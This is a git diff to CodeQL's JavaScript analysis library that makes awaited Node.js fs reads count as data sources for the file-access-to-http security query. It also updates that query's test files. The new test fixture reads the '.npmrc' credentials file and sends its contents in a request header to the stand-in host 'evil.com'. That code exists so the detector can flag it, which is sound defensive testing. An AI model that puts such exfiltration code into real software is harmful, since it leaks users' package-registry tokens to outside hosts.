diff --git a/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md new file mode 100644 index 000000000000..f15d525530ae --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported. diff --git a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll index 3427591bc1b7..bf5c2cafa5f4 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll @@ -599,7 +599,7 @@ module NodeJSLib { override DataFlow::Node getADataNode() { if methodName.matches("%Sync") then result = this - else + else ( exists(int i, string paramName | fsDataParam(methodName, i, paramName) | if paramName = "callback" then @@ -610,6 +610,12 @@ module NodeJSLib { ) else result = this.getArgument(i) ) + or + exists(AwaitExpr await | + this.getEnclosingExpr() = await.getOperand() and + result = DataFlow::valueNode(await) + ) + ) } } diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected index 97daf99fcecb..dc269be18f3b 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected @@ -1,5 +1,6 @@ #select | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data | +| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data | | bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data | | googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data | | readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data | @@ -13,6 +14,10 @@ edges | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance | | | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | provenance | | | FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance | | +| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance | | +| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | | +| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | | +| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | | | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | | @@ -64,6 +69,11 @@ nodes | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | semmle.label | {\\n hos ... ent }\\n} | | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] | | FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content | +| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content | +| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") | +| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } | +| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] | +| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content | | bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer | | bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) | | bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer | diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js index 8e5df53f2b2a..3a06a63410cc 100644 --- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js +++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -8,3 +8,21 @@ https.get({ method: "GET", headers: { Referer: content } }, () => { }); // $ Alert[js/file-access-to-http] + +const fsp = require("fs").promises; + +(async function sendRequest() { + try { + const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http] + + https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } + }, () => { }); // $ Alert[js/file-access-to-http] + + } catch (error) { + console.error("Error reading file:", error); + } +})();